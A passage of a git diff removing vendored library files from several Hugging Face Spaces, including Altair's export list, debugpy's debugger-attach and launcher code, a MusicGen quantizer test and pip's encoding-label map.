-    "ConditionalAxisLabelBaseline",
-    "ConditionalAxisLabelFontStyle",
-    "ConditionalAxisLabelFontWeight",
-    "ConditionalAxisNumber",
-    "ConditionalAxisNumberArray",
-    "ConditionalAxisPropertyAlignnull",
-    "ConditionalAxisPropertyColornull",
-    "ConditionalAxisPropertyFontStylenull",
-    "ConditionalAxisPropertyFontWeightnull",
-    "ConditionalAxisPropertyTextBaselinenull",
-    "ConditionalAxisPropertynumberArraynull",
-    "ConditionalAxisPropertynumbernull",
-    "ConditionalAxisPropertystringnull",
-    "ConditionalAxisString",
-    "ConditionalMarkPropFieldOrDatumDef",
-    "ConditionalMarkPropFieldOrDatumDefTypeForShape",
-    "ConditionalParameterMarkPropFieldOrDatumDef",
-    "ConditionalParameterMarkPropFieldOrDatumDefTypeForShape",
-    "ConditionalParameterStringFieldDef",
-    "ConditionalParameterValueDefGradientstringnullExprRef",
-    "ConditionalParameterValueDefTextExprRef",
-    "ConditionalParameterValueDefnumber",
-    "ConditionalParameterValueDefnumberArrayExprRef",
-    "ConditionalParameterValueDefnumberExprRef",
-    "ConditionalParameterValueDefstringExprRef",
-    "ConditionalParameterValueDefstringnullExprRef",
-    "ConditionalPredicateMarkPropFieldOrDatumDef",
-    "ConditionalPredicateMarkPropFieldOrDatumDefTypeForShape",
-    "ConditionalPredicateStringFieldDef",
-    "ConditionalPredicateValueDefAlignnullExprRef",
-    "ConditionalPredicateValueDefColornullExprRef",
-    "ConditionalPredicateValueDefFontStylenullExprRef",
-    "ConditionalPredicateValueDefFontWeightnullExprRef",
-    "ConditionalPredicateValueDefGradientstringnullExprRef",
-    "ConditionalPredicateValueDefTextBaselinenullExprRef",
-    "ConditionalPredicateValueDefTextExprRef",
-    "ConditionalPredicateValueDefnumber",
-    "ConditionalPredicateValueDefnumberArrayExprRef",
-    "ConditionalPredicateValueDefnumberArraynullExprRef",
-    "ConditionalPredicateValueDefnumberExprRef",
-    "ConditionalPredicateValueDefnumbernullExprRef",
-    "ConditionalPredicateValueDefstringExprRef",
-    "ConditionalPredicateValueDefstringnullExprRef",
-    "ConditionalStringFieldDef",
-    "ConditionalValueDefGradientstringnullExprRef",
-    "ConditionalValueDefTextExprRef",
-    "ConditionalValueDefnumber",
-    "ConditionalValueDefnumberArrayExprRef",
-    "ConditionalValueDefnumberExprRef",
-    "ConditionalValueDefstringExprRef",
-    "ConditionalValueDefstringnullExprRef",
-    "Config",
-    "CsvDataFormat",
-    "Cursor",
-    "Cyclical",
-    "Data",
-    "DataFormat",
-    "DataSource",
-    "Datasets",
-    "DateTime",
-    "DatumChannelMixin",
-    "DatumDef",
-    "Day",
-    "DensityTransform",
-    "DerivedStream",
-    "Description",
-    "DescriptionValue",
-    "Detail",
-    "Dict",
-    "DictInlineDataset",
-    "DictSelectionInit",
-    "DictSelectionInitInterval",
-    "Diverging",
-    "DomainUnionWith",
-    "DsvDataFormat",
-    "Element",
-    "Encoding",
-    "EncodingSortField",
-    "ErrorBand",
-    "ErrorBandConfig",
-    "ErrorBandDef",
-    "ErrorBar",
-    "ErrorBarConfig",
-    "ErrorBarDef",
-    "ErrorBarExtent",
-    "EventStream",
-    "EventType",
-    "Expr",
-    "ExprRef",
-    "Facet",
-    "FacetChart",
-    "FacetEncodingFieldDef",
-    "FacetFieldDef",
-    "FacetMapping",
-    "FacetSpec",
-    "FacetedEncoding",
-    "FacetedUnitSpec",
-    "Feature",
-    "FeatureCollection",
-    "FeatureGeometryGeoJsonProperties",
-    "Field",
-    "FieldChannelMixin",
-    "FieldDefWithoutScale",
-    "FieldEqualPredicate",
-    "FieldGTEPredicate",
-    "FieldGTPredicate",
-    "FieldLTEPredicate",
-    "FieldLTPredicate",
-    "FieldName",
-    "FieldOneOfPredicate",
-    "FieldOrDatumDefWithConditionDatumDefGradientstringnull",
-    "FieldOrDatumDefWithConditionDatumDefnumber",
-    "FieldOrDatumDefWithConditionDatumDefnumberArray",
-    "FieldOrDatumDefWithConditionDatumDefstringnull",
-    "FieldOrDatumDefWithConditionMarkPropFieldDefGradientstringnull",
-    "FieldOrDatumDefWithConditionMarkPropFieldDefTypeForShapestringnull",
-    "FieldOrDatumDefWithConditionMarkPropFieldDefnumber",
-    "FieldOrDatumDefWithConditionMarkPropFieldDefnumberArray",
-    "FieldOrDatumDefWithConditionStringDatumDefText",
-    "FieldOrDatumDefWithConditionStringFieldDefText",
-    "FieldOrDatumDefWithConditionStringFieldDefstring",
-    "FieldRange",
-    "FieldRangePredicate",
-    "FieldValidPredicate",
-    "Fill",
-    "FillDatum",
-    "FillOpacity",
-    "FillOpacityDatum",
-    "FillOpacityValue",
-    "FillValue",
-    "FilterTransform",
-    "Fit",
-    "FlattenTransform",
-    "FoldTransform",
-    "FontStyle",
-    "FontWeight",
-    "Generator",
-    "GenericUnitSpecEncodingAnyMark",
-    "GeoJsonFeature",
-    "GeoJsonFeatureCollection",
-    "GeoJsonProperties",
-    "Geometry",
-    "GeometryCollection",
-    "Gradient",
-    "GradientStop",
-    "GraticuleGenerator",
-    "GraticuleParams",
-    "HConcatChart",
-    "HConcatSpecGenericSpec",
-    "Header",
-    "HeaderConfig",
-    "HexColor",
-    "Href",
-    "HrefValue",
-    "Impute",
-    "ImputeMethod",
-    "ImputeParams",
-    "ImputeSequence",
-    "ImputeTransform",
-    "InlineData",
-    "InlineDataset",
-    "Interpolate",
-    "IntervalSelectionConfig",
-    "IntervalSelectionConfigWithoutType",
-    "JoinAggregateFieldDef",
-    "JoinAggregateTransform",
-    "JsonDataFormat",
-    "Key",
-    "LabelOverlap",
-    "LatLongDef",
-    "LatLongFieldDef",
-    "Latitude",
-    "Latitude2",
-    "Latitude2Datum",
-    "Latitude2Value",
-    "LatitudeDatum",
-    "LayerChart",
-    "LayerRepeatMapping",
-    "LayerRepeatSpec",
-    "LayerSpec",
-    "LayoutAlign",
-    "Legend",
-    "LegendBinding",
-    "LegendConfig",
-    "LegendOrient",
-    "LegendResolveMap",
-    "LegendStreamBinding",
-    "LineConfig",
-    "LineString",
-    "LinearGradient",
-    "LocalMultiTimeUnit",
-    "LocalSingleTimeUnit",
-    "Locale",
-    "LoessTransform",
-    "LogicalAndPredicate",
-    "LogicalNotPredicate",
-    "LogicalOrPredicate",
-    "Longitude",
-    "Longitude2",
-    "Longitude2Datum",
-    "Longitude2Value",
-    "LongitudeDatum",
-    "LookupData",
-    "LookupSelection",
-    "LookupTransform",
-    "Mark",
-    "MarkConfig",
-    "MarkDef",
-    "MarkPropDefGradientstringnull",
-    "MarkPropDefnumber",
-    "MarkPropDefnumberArray",
-    "MarkPropDefstringnullTypeForShape",
-    "MarkType",
-    "MaxRowsError",
-    "MergedStream",
-    "Month",
-    "MultiLineString",
-    "MultiPoint",
-    "MultiPolygon",
-    "MultiTimeUnit",
-    "NamedData",
-    "NonArgAggregateOp",
-    "NonLayerRepeatSpec",
-    "NonNormalizedSpec",
-    "NumberLocale",
-    "NumericArrayMarkPropDef",
-    "NumericMarkPropDef",
-    "OffsetDef",
-    "Opacity",
-    "OpacityDatum",
-    "OpacityValue",
-    "Order",
-    "OrderFieldDef",
-    "OrderValue",
-    "OrderValueDef",
-    "Orient",
-    "Orientation",
-    "OverlayMarkDef",
-    "Padding",
-    "Parameter",
-    "ParameterExpression",
-    "ParameterExtent",
-    "ParameterName",
-    "ParameterPredicate",
-    "Parse",
-    "ParseValue",
-    "PivotTransform",
-    "Point",
-    "PointSelectionConfig",
-    "PointSelectionConfigWithoutType",
-    "PolarDef",
-    "Polygon",
-    "Position",
-    "Position2Def",
-    "PositionDatumDef",
-    "PositionDatumDefBase",
-    "PositionDef",
-    "PositionFieldDef",
-    "PositionFieldDefBase",
-    "PositionValueDef",
-    "Predicate",
-    "PredicateComposition",
-    "PrimitiveValue",
-    "Projection",
-    "ProjectionConfig",
-    "ProjectionType",
-    "QuantileTransform",
-    "RadialGradient",
-    "Radius",
-    "Radius2",
-    "Radius2Datum",
-    "Radius2Value",
-    "RadiusDatum",
-    "RadiusValue",
-    "RangeConfig",
-    "RangeEnum",
-    "RangeRaw",
-    "RangeRawArray",
-    "RangeScheme",
-    "RectConfig",
-    "RegressionTransform",
-    "RelativeBandSize",
-    "RepeatChart",
-    "RepeatMapping",
-    "RepeatRef",
-    "RepeatSpec",
-    "Resolve",
-    "ResolveMode",
-    "Root",
-    "Row",
-    "RowColLayoutAlign",
-    "RowColboolean",
-    "RowColnumber",
-    "RowColumnEncodingFieldDef",
-    "SCHEMA_URL",
-    "SCHEMA_VERSION",
-    "SampleTransform",
-    "Scale",
-    "ScaleBinParams",
-    "ScaleBins",
-    "ScaleConfig",
-    "ScaleDatumDef",
-    "ScaleFieldDef",
-    "ScaleInterpolateEnum",
-    "ScaleInterpolateParams",
-    "ScaleResolveMap",
-    "ScaleType",
-    "SchemaBase",
-    "SchemeParams",
-    "SecondaryFieldDef",
-    "SelectionConfig",
-    "SelectionExpression",
-    "SelectionInit",
-    "SelectionInitInterval",
-    "SelectionInitIntervalMapping",
-    "SelectionInitMapping",
-    "SelectionParameter",
-    "SelectionPredicateComposition",
-    "SelectionResolution",
-    "SelectionType",
-    "SequenceGenerator",
-    "SequenceParams",
-    "SequentialMultiHue",
-    "SequentialSingleHue",
-    "Shape",
-    "ShapeDatum",
-    "ShapeDef",
-    "ShapeValue",
-    "SharedEncoding",
-    "SingleDefUnitChannel",
-    "SingleTimeUnit",
-    "Size",
-    "SizeDatum",
-    "SizeValue",
-    "Sort",
-    "SortArray",
-    "SortByChannel",
-    "SortByChannelDesc",
-    "SortByEncoding",
-    "SortField",
-    "SortOrder",
-    "Spec",
-    "SphereGenerator",
-    "StackOffset",
-    "StackTransform",
-    "StandardType",
-    "Step",
-    "StepFor",
-    "Stream",
-    "StringFieldDef",
-    "StringFieldDefWithCondition",
-    "StringValueDefWithCondition",
-    "Stroke",
-    "StrokeCap",
-    "StrokeDash",
-    "StrokeDashDatum",
-    "StrokeDashValue",
-    "StrokeDatum",
-    "StrokeJoin",
-    "StrokeOpacity",
-    "StrokeOpacityDatum",
-    "StrokeOpacityValue",
-    "StrokeValue",
-    "StrokeWidth",
-    "StrokeWidthDatum",
-    "StrokeWidthValue",
-    "StyleConfigIndex",
-    "SymbolShape",
-    "TOPLEVEL_ONLY_KEYS",
-    "Text",
-    "TextBaseline",
-    "TextDatum",
-    "TextDef",
-    "TextDirection",
-    "TextValue",
-    "Theta",
-    "Theta2",
-    "Theta2Datum",
-    "Theta2Value",
-    "ThetaDatum",
-    "ThetaValue",
-    "TickConfig",
-    "TickCount",
-    "TimeInterval",
-    "TimeIntervalStep",
-    "TimeLocale",
-    "TimeUnit",
-    "TimeUnitParams",
-    "TimeUnitTransform",
-    "Title",
-    "TitleAnchor",
-    "TitleConfig",
-    "TitleFrame",
-    "TitleOrient",
-    "TitleParams",
-    "Tooltip",
-    "TooltipContent",
-    "TooltipValue",
-    "TopLevelConcatSpec",
-    "TopLevelFacetSpec",
-    "TopLevelHConcatSpec",
-    "TopLevelLayerSpec",
-    "TopLevelMixin",
-    "TopLevelParameter",
-    "TopLevelRepeatSpec",
-    "TopLevelSelectionParameter",
-    "TopLevelSpec",
-    "TopLevelUnitSpec",
-    "TopLevelVConcatSpec",
-    "TopoDataFormat",
-    "Transform",
-    "Type",
-    "TypeForShape",
-    "TypedFieldDef",
-    "URI",
-    "Undefined",
-    "UnitSpec",
-    "UnitSpecWithFrame",
-    "Url",
-    "UrlData",
-    "UrlValue",
-    "UtcMultiTimeUnit",
-    "UtcSingleTimeUnit",
-    "VConcatChart",
-    "VConcatSpecGenericSpec",
-    "VEGAEMBED_VERSION",
-    "VEGALITE_VERSION",
-    "VEGA_VERSION",
-    "ValueChannelMixin",
-    "ValueDefWithConditionMarkPropFieldOrDatumDefGradientstringnull",
-    "ValueDefWithConditionMarkPropFieldOrDatumDefTypeForShapestringnull",
-    "ValueDefWithConditionMarkPropFieldOrDatumDefnumber",
-    "ValueDefWithConditionMarkPropFieldOrDatumDefnumberArray",
-    "ValueDefWithConditionMarkPropFieldOrDatumDefstringnull",
-    "ValueDefWithConditionStringFieldDefText",
-    "ValueDefnumber",
-    "ValueDefnumberwidthheightExprRef",
-    "VariableParameter",
-    "Vector10string",
-    "Vector12string",
-    "Vector2DateTime",
-    "Vector2Vector2number",
-    "Vector2boolean",
-    "Vector2number",
-    "Vector2string",
-    "Vector3number",
-    "Vector7string",
-    "VegaLite",
-    "VegaLiteSchema",
-    "ViewBackground",
-    "ViewConfig",
-    "WindowEventType",
-    "WindowFieldDef",
-    "WindowOnlyOp",
-    "WindowTransform",
-    "X",
-    "X2",
-    "X2Datum",
-    "X2Value",
-    "XDatum",
-    "XError",
-    "XError2",
-    "XError2Value",
-    "XErrorValue",
-    "XOffset",
-    "XOffsetDatum",
-    "XOffsetValue",
-    "XValue",
-    "Y",
-    "Y2",
-    "Y2Datum",
-    "Y2Value",
-    "YDatum",
-    "YError",
-    "YError2",
-    "YError2Value",
-    "YErrorValue",
-    "YOffset",
-    "YOffsetDatum",
-    "YOffsetValue",
-    "YValue",
-    "api",
-    "binding",
-    "binding_checkbox",
-    "binding_radio",
-    "binding_range",
-    "binding_select",
-    "channels",
-    "check_fields_and_encodings",
-    "concat",
-    "condition",
-    "core",
-    "curry",
-    "data",
-    "data_transformers",
-    "datum",
-    "default_data_transformer",
-    "display",
-    "expr",
-    "graticule",
-    "hconcat",
-    "layer",
-    "limit_rows",
-    "load_ipython_extension",
-    "load_schema",
-    "mixins",
-    "overload",
-    "param",
-    "parse_shorthand",
-    "pipe",
-    "renderers",
-    "repeat",
-    "sample",
-    "schema",
-    "selection_interval",
-    "selection_point",
-    "sequence",
-    "sphere",
-    "theme",
-    "themes",
-    "to_csv",
-    "to_json",
-    "to_values",
-    "topo_feature",
-    "utils",
-    "v5",
-    "value",
-    "vconcat",
-    "vegalite",
-    "with_property_setters",
-]
-
-
-def __dir__():
-    return __all__
-
-
-from .vegalite import *
-
-
-def load_ipython_extension(ipython):
-    from ._magics import vegalite
-
-    ipython.register_magic_function(vegalite, "cell")
diff --git a/spaces/SungBeom/chatwine-korean/.venv/Lib/site-packages/debugpy/_vendored/pydevd/pydevd_attach_to_process/windows/run_code_in_memory.hpp b/spaces/SungBeom/chatwine-korean/.venv/Lib/site-packages/debugpy/_vendored/pydevd/pydevd_attach_to_process/windows/run_code_in_memory.hpp
deleted file mode 100644
index 6839810706863bf2924866ca13eb64043b2299ef..0000000000000000000000000000000000000000
--- a/spaces/SungBeom/chatwine-korean/.venv/Lib/site-packages/debugpy/_vendored/pydevd/pydevd_attach_to_process/windows/run_code_in_memory.hpp
+++ /dev/null
@@ -1,116 +0,0 @@
-#ifndef _PY_RUN_CODE_IN_MEMORY_HPP_
-#define _PY_RUN_CODE_IN_MEMORY_HPP_
-
-#include <iostream>
-#include "attach.h"
-#include "stdafx.h"
-
-#include <windows.h>
-#include <stdio.h>
-#include <conio.h>
-#include <tchar.h>
-
-#include "../common/python.h"
-#include "../common/ref_utils.hpp"
-#include "../common/py_utils.hpp"
-#include "../common/py_settrace.hpp"
-
-#include "py_win_helpers.hpp"
-
-#pragma comment(lib, "kernel32.lib")
-#pragma comment(lib, "user32.lib")
-#pragma comment(lib, "advapi32.lib")
-
-DECLDIR int AttachAndRunPythonCode(const char *command, int *attachInfo );
-
-// NOTE: BUFSIZE must be the same from add_code_to_python_process.py
-#define BUFSIZE 2048
-
-// Helper to free data when we leave the scope.
-class DataToFree {
-
-public:
-
-    HANDLE hMapFile;
-    void* mapViewOfFile;
-    char* codeToRun;
-
-    DataToFree() {
-        this->hMapFile = nullptr;
-        this->mapViewOfFile = nullptr;
-        this->codeToRun = nullptr;
-    }
-
-    ~DataToFree() {
-        if (this->hMapFile != nullptr) {
-            CloseHandle(this->hMapFile);
-            this->hMapFile = nullptr;
-        }
-        if (this->mapViewOfFile != nullptr) {
-            UnmapViewOfFile(this->mapViewOfFile);
-            this->mapViewOfFile = nullptr;
-        }
-        if (this->codeToRun != nullptr) {
-            delete this->codeToRun;
-            this->codeToRun = nullptr;
-        }
-    }
-};
-
-
-
-extern "C"
-{
-    /**
-     * This method will read the code to be executed from the named shared memory
-     * and execute it.
-     */
-    DECLDIR int RunCodeInMemoryInAttachedDll() {
-        // PRINT("Attempting to run Python code from named shared memory.")
-        //get the code to be run (based on https://docs.microsoft.com/en-us/windows/win32/memory/creating-named-shared-memory).
-        HANDLE hMapFile;
-        char* mapViewOfFile;
-
-        DataToFree dataToFree;
-
-        std::string namedSharedMemoryName("__pydevd_pid_code_to_run__");
-        namedSharedMemoryName += std::to_string(GetCurrentProcessId());
-
-        hMapFile = OpenFileMappingA(
-            FILE_MAP_ALL_ACCESS, // read/write access
-            FALSE, // do not inherit the name
-            namedSharedMemoryName.c_str()); // name of mapping object
-
-        if (hMapFile == nullptr) {
-            std::cout << "Error opening named shared memory (OpenFileMapping): " << GetLastError() + " name: " << namedSharedMemoryName << std::endl;
-            return 1;
-        } else {
-            // PRINT("Opened named shared memory.")
-        }
-
-        dataToFree.hMapFile = hMapFile;
-
-        mapViewOfFile = reinterpret_cast < char* > (MapViewOfFile(hMapFile, // handle to map object
-            FILE_MAP_ALL_ACCESS, // read/write permission
-            0,
-            0,
-            BUFSIZE));
-
-        if (mapViewOfFile == nullptr) {
-            std::cout << "Error mapping view of named shared memory (MapViewOfFile): " << GetLastError() << std::endl;
-            return 1;
-        } else {
-            // PRINT("Mapped view of file.")
-        }
-        dataToFree.mapViewOfFile = mapViewOfFile;
-        // std::cout << "Will run contents: " << mapViewOfFile << std::endl;
-
-        dataToFree.codeToRun = new char[BUFSIZE];
-        memmove(dataToFree.codeToRun, mapViewOfFile, BUFSIZE);
-
-        int attachInfo = 0;
-        return AttachAndRunPythonCode(dataToFree.codeToRun, &attachInfo);
-    }
-}
-
-#endif
\ No newline at end of file
diff --git a/spaces/SungBeom/chatwine-korean/.venv/Lib/site-packages/debugpy/adapter/launchers.py b/spaces/SungBeom/chatwine-korean/.venv/Lib/site-packages/debugpy/adapter/launchers.py
deleted file mode 100644
index 444e54dd92b6478a2fa21d52772eb8dfde6fe5b7..0000000000000000000000000000000000000000
--- a/spaces/SungBeom/chatwine-korean/.venv/Lib/site-packages/debugpy/adapter/launchers.py
+++ /dev/null
@@ -1,191 +0,0 @@
-# Copyright (c) Microsoft Corporation. All rights reserved.
-# Licensed under the MIT License. See LICENSE in the project root
-# for license information.
-
-import os
-import subprocess
-import sys
-
-from debugpy import adapter, common
-from debugpy.common import log, messaging, sockets
-from debugpy.adapter import components, servers
-
-
-class Launcher(components.Component):
-    """Handles the launcher side of a debug session."""
-
-    message_handler = components.Component.message_handler
-
-    def __init__(self, session, stream):
-        with session:
-            assert not session.launcher
-            super().__init__(session, stream)
-
-            self.pid = None
-            """Process ID of the debuggee process, as reported by the launcher."""
-
-            self.exit_code = None
-            """Exit code of the debuggee process."""
-
-            session.launcher = self
-
-    @message_handler
-    def process_event(self, event):
-        self.pid = event("systemProcessId", int)
-        self.client.propagate_after_start(event)
-
-    @message_handler
-    def output_event(self, event):
-        self.client.propagate_after_start(event)
-
-    @message_handler
-    def exited_event(self, event):
-        self.exit_code = event("exitCode", int)
-        # We don't want to tell the client about this just yet, because it will then
-        # want to disconnect, and the launcher might still be waiting for keypress
-        # (if wait-on-exit was enabled). Instead, we'll report the event when we
-        # receive "terminated" from the launcher, right before it exits.
-
-    @message_handler
-    def terminated_event(self, event):
-        try:
-            self.client.channel.send_event("exited", {"exitCode": self.exit_code})
-        except Exception:
-            pass
-        self.channel.close()
-
-    def terminate_debuggee(self):
-        with self.session:
-            if self.exit_code is None:
-                try:
-                    self.channel.request("terminate")
-                except Exception:
-                    pass
-
-
-def spawn_debuggee(
-    session,
-    start_request,
-    python,
-    launcher_path,
-    adapter_host,
-    args,
-    shell_expand_args,
-    cwd,
-    console,
-    console_title,
-    sudo,
-):
-    # -E tells sudo to propagate environment variables to the target process - this
-    # is necessary for launcher to get DEBUGPY_LAUNCHER_PORT and DEBUGPY_LOG_DIR.
-    cmdline = ["sudo", "-E"] if sudo else []
-    cmdline += python
-    cmdline += [launcher_path]
-    env = {}
-
-    arguments = dict(start_request.arguments)
-    if not session.no_debug:
-        _, arguments["port"] = servers.listener.getsockname()
-        arguments["adapterAccessToken"] = adapter.access_token
-
-    def on_launcher_connected(sock):
-        listener.close()
-        stream = messaging.JsonIOStream.from_socket(sock)
-        Launcher(session, stream)
-
-    try:
-        listener = sockets.serve(
-            "Launcher", on_launcher_connected, adapter_host, backlog=1
-        )
-    except Exception as exc:
-        raise start_request.cant_handle(
-            "{0} couldn't create listener socket for launcher: {1}", session, exc
-        )
-
-    try:
-        launcher_host, launcher_port = listener.getsockname()
-        launcher_addr = (
-            launcher_port
-            if launcher_host == "127.0.0.1"
-            else f"{launcher_host}:{launcher_port}"
-        )
-        cmdline += [str(launcher_addr), "--"]
-        cmdline += args
-
-        if log.log_dir is not None:
-            env[str("DEBUGPY_LOG_DIR")] = log.log_dir
-        if log.stderr.levels != {"warning", "error"}:
-            env[str("DEBUGPY_LOG_STDERR")] = str(" ".join(log.stderr.levels))
-
-        if console == "internalConsole":
-            log.info("{0} spawning launcher: {1!r}", session, cmdline)
-            try:
-                # If we are talking to the client over stdio, sys.stdin and sys.stdout
-                # are redirected to avoid mangling the DAP message stream. Make sure
-                # the launcher also respects that.
-                subprocess.Popen(
-                    cmdline,
-                    cwd=cwd,
-                    env=dict(list(os.environ.items()) + list(env.items())),
-                    stdin=sys.stdin,
-                    stdout=sys.stdout,
-                    stderr=sys.stderr,
-                )
-            except Exception as exc:
-                raise start_request.cant_handle("Failed to spawn launcher: {0}", exc)
-        else:
-            log.info('{0} spawning launcher via "runInTerminal" request.', session)
-            session.client.capabilities.require("supportsRunInTerminalRequest")
-            kinds = {"integratedTerminal": "integrated", "externalTerminal": "external"}
-            request_args = {
-                "kind": kinds[console],
-                "title": console_title,
-                "args": cmdline,
-                "env": env,
-            }
-            if cwd is not None:
-                request_args["cwd"] = cwd
-            if shell_expand_args:
-                request_args["argsCanBeInterpretedByShell"] = True
-            try:
-                # It is unspecified whether this request receives a response immediately, or only
-                # after the spawned command has completed running, so do not block waiting for it.
-                session.client.channel.send_request("runInTerminal", request_args)
-            except messaging.MessageHandlingError as exc:
-                exc.propagate(start_request)
-
-        # If using sudo, it might prompt for password, and launcher won't start running
-        # until the user enters it, so don't apply timeout in that case.
-        if not session.wait_for(
-            lambda: session.launcher,
-            timeout=(None if sudo else common.PROCESS_SPAWN_TIMEOUT),
-        ):
-            raise start_request.cant_handle("Timed out waiting for launcher to connect")
-
-        try:
-            session.launcher.channel.request(start_request.command, arguments)
-        except messaging.MessageHandlingError as exc:
-            exc.propagate(start_request)
-
-        if not session.wait_for(
-            lambda: session.launcher.pid is not None,
-            timeout=common.PROCESS_SPAWN_TIMEOUT,
-        ):
-            raise start_request.cant_handle(
-                'Timed out waiting for "process" event from launcher'
-            )
-
-        if session.no_debug:
-            return
-
-        # Wait for the first incoming connection regardless of the PID - it won't
-        # necessarily match due to the use of stubs like py.exe or "conda run".
-        conn = servers.wait_for_connection(
-            session, lambda conn: True, timeout=common.PROCESS_SPAWN_TIMEOUT
-        )
-        if conn is None:
-            raise start_request.cant_handle("Timed out waiting for debuggee to spawn")
-        conn.attach_to_session(session)
-
-    finally:
-        listener.close()
diff --git a/spaces/Suniilkumaar/MusicGen-updated/tests/quantization/test_vq.py b/spaces/Suniilkumaar/MusicGen-updated/tests/quantization/test_vq.py
deleted file mode 100644
index c215099fedacae35c6798fdd9b8420a447aa16bb..0000000000000000000000000000000000000000
--- a/spaces/Suniilkumaar/MusicGen-updated/tests/quantization/test_vq.py
+++ /dev/null
@@ -1,18 +0,0 @@
-# Copyright (c) Meta Platforms, Inc. and affiliates.
-# All rights reserved.
-#
-# This source code is licensed under the license found in the
-# LICENSE file in the root directory of this source tree.
-
-import torch
-
-from audiocraft.quantization.vq import ResidualVectorQuantizer
-
-
-class TestResidualVectorQuantizer:
-
-    def test_rvq(self):
-        x = torch.randn(1, 16, 2048)
-        vq = ResidualVectorQuantizer(n_q=8, dimension=16, bins=8)
-        res = vq(x, 1.)
-        assert res.x.shape == torch.Size([1, 16, 2048])
diff --git a/spaces/TandCAcceptMe/face-swap-docker/mynewshinyroop/Lib/site-packages/pip/_vendor/webencodings/labels.py b/spaces/TandCAcceptMe/face-swap-docker/mynewshinyroop/Lib/site-packages/pip/_vendor/webencodings/labels.py
deleted file mode 100644
index 29cbf91ef79b89971e51db9ddfc3720d8b4db82a..0000000000000000000000000000000000000000
--- a/spaces/TandCAcceptMe/face-swap-docker/mynewshinyroop/Lib/site-packages/pip/_vendor/webencodings/labels.py
+++ /dev/null
@@ -1,231 +0,0 @@
-"""
-
-    webencodings.labels
-    ~~~~~~~~~~~~~~~~~~~
-
-    Map encoding labels to their name.
-
-    :copyright: Copyright 2012 by Simon Sapin
-    :license: BSD, see LICENSE for details.
-
-"""
-
-# XXX Do not edit!
-# This file is automatically generated by mklabels.py
-
-LABELS = {
-    'unicode-1-1-utf-8':   'utf-8',
-    'utf-8':               'utf-8',
-    'utf8':                'utf-8',
-    '866':                 'ibm866',
-    'cp866':               'ibm866',
-    'csibm866':            'ibm866',
-    'ibm866':              'ibm866',
-    'csisolatin2':         'iso-8859-2',
-    'iso-8859-2':          'iso-8859-2',
-    'iso-ir-101':          'iso-8859-2',
-    'iso8859-2':           'iso-8859-2',
-    'iso88592':            'iso-8859-2',
-    'iso_8859-2':          'iso-8859-2',
-    'iso_8859-2:1987':     'iso-8859-2',
-    'l2':                  'iso-8859-2',
-    'latin2':              'iso-8859-2',
-    'csisolatin3':         'iso-8859-3',
-    'iso-8859-3':          'iso-8859-3',
-    'iso-ir-109':          'iso-8859-3',
-    'iso8859-3':           'iso-8859-3',
-    'iso88593':            'iso-8859-3',
-    'iso_8859-3':          'iso-8859-3',
-    'iso_8859-3:1988':     'iso-8859-3',
-    'l3':                  'iso-8859-3',
-    'latin3':              'iso-8859-3',
-    'csisolatin4':         'iso-8859-4',
-    'iso-8859-4':          'iso-8859-4',
-    'iso-ir-110':          'iso-8859-4',
-    'iso8859-4':           'iso-8859-4',
-    'iso88594':            'iso-8859-4',
-    'iso_8859-4':          'iso-8859-4',
-    'iso_8859-4:1988':     'iso-8859-4',
-    'l4':                  'iso-8859-4',
-    'latin4':              'iso-8859-4',
-    'csisolatincyrillic':  'iso-8859-5',
-    'cyrillic':            'iso-8859-5',
-    'iso-8859-5':          'iso-8859-5',
-    'iso-ir-144':          'iso-8859-5',
-    'iso8859-5':           'iso-8859-5',
-    'iso88595':            'iso-8859-5',
-    'iso_8859-5':          'iso-8859-5',
-    'iso_8859-5:1988':     'iso-8859-5',
-    'arabic':              'iso-8859-6',
-    'asmo-708':            'iso-8859-6',
-    'csiso88596e':         'iso-8859-6',
-    'csiso88596i':         'iso-8859-6',
-    'csisolatinarabic':    'iso-8859-6',
-    'ecma-114':            'iso-8859-6',
-    'iso-8859-6':          'iso-8859-6',
-    'iso-8859-6-e':        'iso-8859-6',
-    'iso-8859-6-i':        'iso-8859-6',
-    'iso-ir-127':          'iso-8859-6',
-    'iso8859-6':           'iso-8859-6',
-    'iso88596':            'iso-8859-6',
-    'iso_8859-6':          'iso-8859-6',
-    'iso_8859-6:1987':     'iso-8859-6',
-    'csisolatingreek':     'iso-8859-7',
-    'ecma-118':            'iso-8859-7',
-    'elot_928':            'iso-8859-7',
-    'greek':               'iso-8859-7',
-    'greek8':              'iso-8859-7',
-    'iso-8859-7':          'iso-8859-7',
-    'iso-ir-126':          'iso-8859-7',
-    'iso8859-7':           'iso-8859-7',
-    'iso88597':            'iso-8859-7',
-    'iso_8859-7':          'iso-8859-7',
-    'iso_8859-7:1987':     'iso-8859-7',
-    'sun_eu_greek':        'iso-8859-7',
-    'csiso88598e':         'iso-8859-8',
-    'csisolatinhebrew':    'iso-8859-8',
-    'hebrew':              'iso-8859-8',
-    'iso-8859-8':          'iso-8859-8',
-    'iso-8859-8-e':        'iso-8859-8',
-    'iso-ir-138':          'iso-8859-8',
-    'iso8859-8':           'iso-8859-8',
-    'iso88598':            'iso-8859-8',
-    'iso_8859-8':          'iso-8859-8',
-    'iso_8859-8:1988':     'iso-8859-8',
-    'visual':              'iso-8859-8',
-    'csiso88598i':         'iso-8859-8-i',
-    'iso-8859-8-i':        'iso-8859-8-i',
-    'logical':             'iso-8859-8-i',
-    'csisolatin6':         'iso-8859-10',
-    'iso-8859-10':         'iso-8859-10',
-    'iso-ir-157':          'iso-8859-10',
-    'iso8859-10':          'iso-8859-10',
-    'iso885910':           'iso-8859-10',
-    'l6':                  'iso-8859-10',
-    'latin6':              'iso-8859-10',
-    'iso-8859-13':         'iso-8859-13',
-    'iso8859-13':          'iso-8859-13',
-    'iso885913':           'iso-8859-13',
-    'iso-8859-14':         'iso-8859-14',
-    'iso8859-14':          'iso-8859-14',
-    'iso885914':           'iso-8859-14',
-    'csisolatin9':         'iso-8859-15',
-    'iso-8859-15':         'iso-8859-15',
-    'iso8859-15':          'iso-8859-15',
-    'iso885915':           'iso-8859-15',
-    'iso_8859-15':         'iso-8859-15',
-    'l9':                  'iso-8859-15',
-    'iso-8859-16':         'iso-8859-16',
-    'cskoi8r':             'koi8-r',
-    'koi':                 'koi8-r',
-    'koi8':                'koi8-r',
-    'koi8-r':              'koi8-r',
-    'koi8_r':              'koi8-r',
-    'koi8-u':              'koi8-u',
-    'csmacintosh':         'macintosh',
-    'mac':                 'macintosh',
-    'macintosh':           'macintosh',
-    'x-mac-roman':         'macintosh',
-    'dos-874':             'windows-874',
-    'iso-8859-11':         'windows-874',
-    'iso8859-11':          'windows-874',
